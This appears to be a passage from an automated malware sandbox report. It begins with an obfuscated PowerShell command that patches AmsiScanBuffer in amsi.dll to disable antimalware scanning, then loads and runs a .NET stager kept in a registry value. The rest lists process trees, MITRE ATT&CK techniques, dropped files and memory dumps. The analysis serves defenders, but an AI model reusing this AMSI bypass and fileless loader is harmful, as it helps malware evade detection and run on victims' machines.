@([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$hbcxYGgfFbr=$QDdKUVUxVBhhF.GetMethod(''+[Char](71)+'e'+'t'+''+[Char](77)+''+'o'+'d'+[Char](117)+''+[Char](108)+''+[Char](101)+'H'+'a'+''+'n'+'d'+[Char](108)+''+'e'+'').Invoke($Null,@([Object](''+[Char](107)+''+'e'+''+[Char](114)+''+'n'+'e'+[Char](108)+''+[Char](51)+'2'+'.'+''+[Char](100)+''+'l'+'l')));$jsGDDhjSqgILcL=$LpMVaoOvpmctXE.Invoke($Null,@([Object]$hbcxYGgfFbr,[Object](''+'L'+'o'+'a'+''+[Char](100)+''+[Char](76)+''+[Char](105)+'b'+[Char](114)+''+[Char](97)+''+[Char](114)+'y'+[Char](65)+'')));$TufubFlxJMVOUiioN=$LpMVaoOvpmctXE.Invoke($Null,@([Object]$hbcxYGgfFbr,[Object](''+[Char](86)+'ir'+[Char](116)+''+'u'+'a'+[Char](108)+'P'+[Char](114)+''+[Char](111)+''+[Char](116)+''+'e'+''+[Char](99)+''+[Char](116)+'')));$HkOgQBS=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($jsGDDhjSqgILcL,$nbNoKBxqbhiynovWttM).Invoke(''+[Char](97)+''+[Char](109)+''+[Char](115)+'i'+[Char](46)+''+'d'+''+[Char](108)+''+[Char](108)+'');$bMDjGujCGoHVPZytK=$LpMVaoOvpmctXE.Invoke($Null,@([Object]$HkOgQBS,[Object]('A'+[Char](109)+''+[Char](115)+''+[Char](105)+'S'+[Char](99)+'anB'+'u'+''+'f'+''+[Char](102)+''+[Char](101)+''+[Char](114)+'')));$BpwVzdxhef=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($TufubFlxJMVOUiioN,$WWQFODRkdTwmIXmflZzVPm).Invoke($bMDjGujCGoHVPZytK,[uint32]8,4,[ref]$BpwVzdxhef);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](55+82),[Byte](76+134),[Byte](148+36),[Byte](187-100),[Byte](226-226),[Byte](202-195),[Byte](0+128),[Byte](125+6),[Byte](15+178),[Byte](118-118),[Byte](129+66),[Byte](36+95),[Byte](255-21),[Byte](146-146)),0,$bMDjGujCGoHVPZytK,193-179);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($TufubFlxJMVOUiioN,$WWQFODRkdTwmIXmflZzVPm).Invoke($bMDjGujCGoHVPZytK,[uint32]8,0x20,[ref]$BpwVzdxhef);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+[Char](70)+''+[Char](84)+'W'+'A'+'RE').GetValue(''+[Char](36)+'SH'+[Char](115)+'t'+[Char](97)+''+'g'+'e'+'r'+'')).EntryPoint.Invoke($Null,$Null)""2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}1⤵
-
C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{7966B4D8-4FDC-4126-A10B-39A3209AD251}1⤵
-
C:\Windows\System32\mobsync.exeC:\Windows\System32\mobsync.exe -Embedding1⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
2Active Setup
1Registry Run Keys / Startup Folder
1Power Settings
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
2Active Setup
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
File and Directory Permissions Modification
2Windows File and Directory Permissions Modification
1Indicator Removal
1Clear Windows Event Logs
1Modify Registry
3Virtualization/Sandbox Evasion
2Discovery
Peripheral Device Discovery
2Query Registry
5Remote System Discovery
1System Information Discovery
2System Location Discovery
1System Language Discovery
1System Network Configuration Discovery
1Internet Connection Discovery
1System Time Discovery
1Virtualization/Sandbox Evasion
2Replay Monitor
Loading Replay Monitor...
Downloads
WER.1224627f-94a3-4339-9156-602c722ea26c.tmp.txt
WER.d3afbe93-bd03-44b0-88da-ca5c49562f23.tmp.csv
103621DE9CD5414CC2538780B4B75751
17653CAAA57FC467E1768AC3DF1AD592
1B1495DD322A24490E2BF2FAABAE1C61
22D536C4B4AD2CEF7AC6B7789FD235E3
IconCache.db
DiscoverCacheData.dat
Win-v43.exe
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
prep_Activatable Class_Hermes_perf.cache
__PSScriptPolicyTest_r2fxh1ko.sms.ps1
memory/752-86-0x00000256635B0000-0x00000256635B9000-memory.dmp
memory/752-81-0x00000256635B0000-0x00000256635B9000-memory.dmp
memory/752-82-0x00000256635B0000-0x00000256635B9000-memory.dmp
memory/752-90-0x0000025663600000-0x000002566362B000-memory.dmp
memory/752-89-0x00000256635D0000-0x00000256635F6000-memory.dmp
memory/752-88-0x00000256635B0000-0x00000256635B9000-memory.dmp
memory/752-80-0x00000256634E0000-0x00000256634E5000-memory.dmp
memory/752-91-0x0000025663600000-0x000002566362B000-memory.dmp
memory/752-87-0x00000256635B0000-0x00000256635B9000-memory.dmp
memory/964-104-0x000001D66E660000-0x000001D66E68B000-memory.dmp
memory/964-105-0x00007FF9292E0000-0x00007FF9292F0000-memory.dmp
memory/964-99-0x000001D66E660000-0x000001D66E68B000-memory.dmp
memory/972-116-0x00007FF9292E0000-0x00007FF9292F0000-memory.dmp
memory/972-114-0x0000017430970000-0x000001743099B000-memory.dmp
memory/972-109-0x0000017430970000-0x000001743099B000-memory.dmp
memory/992-126-0x00007FF9292E0000-0x00007FF9292F0000-memory.dmp
memory/992-125-0x000002725D540000-0x000002725D56B000-memory.dmp
memory/992-120-0x000002725D540000-0x000002725D56B000-memory.dmp
memory/1040-135-0x0000021CF47D0000-0x0000021CF47FB000-memory.dmp
memory/1040-136-0x00007FF9292E0000-0x00007FF9292F0000-memory.dmp
memory/1040-130-0x0000021CF47D0000-0x0000021CF47FB000-memory.dmp
memory/1120-141-0x0000022CF3B10000-0x0000022CF3B3B000-memory.dmp
memory/1120-146-0x0000022CF3B10000-0x0000022CF3B3B000-memory.dmp
memory/1120-147-0x00007FF9292E0000-0x00007FF9292F0000-memory.dmp
memory/1180-151-0x00000218AFB80000-0x00000218AFBAB000-memory.dmp
memory/1180-156-0x00000218AFB80000-0x00000218AFBAB000-memory.dmp
memory/1180-157-0x00007FF9292E0000-0x00007FF9292F0000-memory.dmp
memory/1240-162-0x0000028BE5AD0000-0x0000028BE5AFB000-memory.dmp
memory/1240-167-0x0000028BE5AD0000-0x0000028BE5AFB000-memory.dmp
memory/1240-168-0x00007FF9292E0000-0x00007FF9292F0000-memory.dmp
memory/1296-172-0x00000200D3B80000-0x00000200D3BAB000-memory.dmp
memory/1296-177-0x00000200D3B80000-0x00000200D3BAB000-memory.dmp
memory/1296-178-0x00007FF9292E0000-0x00007FF9292F0000-memory.dmp
memory/1316-183-0x0000027C87DB0000-0x0000027C87DDB000-memory.dmp
memory/1316-189-0x00007FF9292E0000-0x00007FF9292F0000-memory.dmp
memory/1316-188-0x0000027C87DB0000-0x0000027C87DDB000-memory.dmp
memory/1376-200-0x00007FF9292E0000-0x00007FF9292F0000-memory.dmp
memory/1376-194-0x000001F825F20000-0x000001F825F4B000-memory.dmp
memory/1376-199-0x000001F825F20000-0x000001F825F4B000-memory.dmp
memory/1528-209-0x000001EA17100000-0x000001EA1712B000-memory.dmp
memory/1528-204-0x000001EA17100000-0x000001EA1712B000-memory.dmp
memory/1528-210-0x00007FF9292E0000-0x00007FF9292F0000-memory.dmp
memory/1544-214-0x000001CF6BCF0000-0x000001CF6BD1B000-memory.dmp
memory/1544-219-0x000001CF6BCF0000-0x000001CF6BD1B000-memory.dmp
memory/1544-220-0x00007FF9292E0000-0x00007FF9292F0000-memory.dmp
memory/1644-229-0x000001E892030000-0x000001E89205B000-memory.dmp
memory/1644-230-0x00007FF9292E0000-0x00007FF9292F0000-memory.dmp
memory/1644-224-0x000001E892030000-0x000001E89205B000-memory.dmp
memory/1664-239-0x00000254FAFB0000-0x00000254FAFDB000-memory.dmp
memory/1664-234-0x00000254FAFB0000-0x00000254FAFDB000-memory.dmp
memory/1664-240-0x00007FF9292E0000-0x00007FF9292F0000-memory.dmp
memory/1700-244-0x00000221D9A20000-0x00000221D9A4B000-memory.dmp
memory/1700-249-0x00000221D9A20000-0x00000221D9A4B000-memory.dmp
memory/1700-250-0x00007FF9292E0000-0x00007FF9292F0000-memory.dmp
memory/1708-254-0x000001E31AD90000-0x000001E31ADBB000-memory.dmp
memory/1708-259-0x000001E31AD90000-0x000001E31ADBB000-memory.dmp
memory/1708-260-0x00007FF9292E0000-0x00007FF9292F0000-memory.dmp
memory/2016-269-0x0000017B4D5B0000-0x0000017B4D5DB000-memory.dmp
memory/2016-264-0x0000017B4D5B0000-0x0000017B4D5DB000-memory.dmp
memory/3048-11-0x00007FF946480000-0x00007FF946E24000-memory.dmp
memory/3048-23-0x00007FF946480000-0x00007FF946E24000-memory.dmp
memory/3048-4-0x00007FF946480000-0x00007FF946E24000-memory.dmp
memory/3048-3-0x000001D4BEC30000-0x000001D4BEC52000-memory.dmp
memory/3048-5-0x00007FF946480000-0x00007FF946E24000-memory.dmp
memory/3048-6-0x00007FF946480000-0x00007FF946E24000-memory.dmp
memory/3048-7-0x00007FF946480000-0x00007FF946E24000-memory.dmp
memory/3048-8-0x00007FF946480000-0x00007FF946E24000-memory.dmp
memory/3048-9-0x00007FF946480000-0x00007FF946E24000-memory.dmp
memory/3048-0-0x00007FF94660F000-0x00007FF946610000-memory.dmp
memory/3048-10-0x00007FF946480000-0x00007FF946E24000-memory.dmp
memory/3048-15-0x000001D4BF0A0000-0x000001D4BF152000-memory.dmp
memory/3048-14-0x000001D4BF080000-0x000001D4BF09E000-memory.dmp
memory/3048-27-0x00007FF946480000-0x00007FF946E24000-memory.dmp
memory/3048-25-0x00007FF946480000-0x00007FF946E24000-memory.dmp
memory/3048-24-0x00007FF946480000-0x00007FF946E24000-memory.dmp
memory/3048-16-0x000001D4BEE70000-0x000001D4BEE7A000-memory.dmp
memory/3048-19-0x00007FF946480000-0x00007FF946E24000-memory.dmp
memory/3048-22-0x00007FF946480000-0x00007FF946E24000-memory.dmp
memory/3048-21-0x00007FF946480000-0x00007FF946E24000-memory.dmp
memory/3048-20-0x00007FF946480000-0x00007FF946E24000-memory.dmp
memory/3048-18-0x00007FF946480000-0x00007FF946E24000-memory.dmp
memory/3048-17-0x00007FF946480000-0x00007FF946E24000-memory.dmp
memory/3088-77-0x00007FF9691A0000-0x00007FF969403000-memory.dmp
memory/3088-78-0x00007FF966BA0000-0x00007FF966F41000-memory.dmp
memory/3088-79-0x00007FF9679B0000-0x00007FF967A77000-memory.dmp
memory/3088-76-0x0000016EFD5F0000-0x0000016EFD61C000-memory.dmp
memory/3420-71-0x0000014BE4C60000-0x0000014BE4C80000-memory.dmp
memory/4908-138-0x0000000000420000-0x000000000044C000-memory.dmp
memory/5620-28-0x00007FF946480000-0x00007FF946E24000-memory.dmp
memory/5620-29-0x00007FF946480000-0x00007FF946E24000-memory.dmp
memory/5620-30-0x00007FF946480000-0x00007FF946E24000-memory.dmp
memory/5620-39-0x00007FF946480000-0x00007FF946E24000-memory.dmp
memory/5620-32-0x00007FF946480000-0x00007FF946E24000-memory.dmp
memory/5620-31-0x00007FF946480000-0x00007FF946E24000-memory.dmp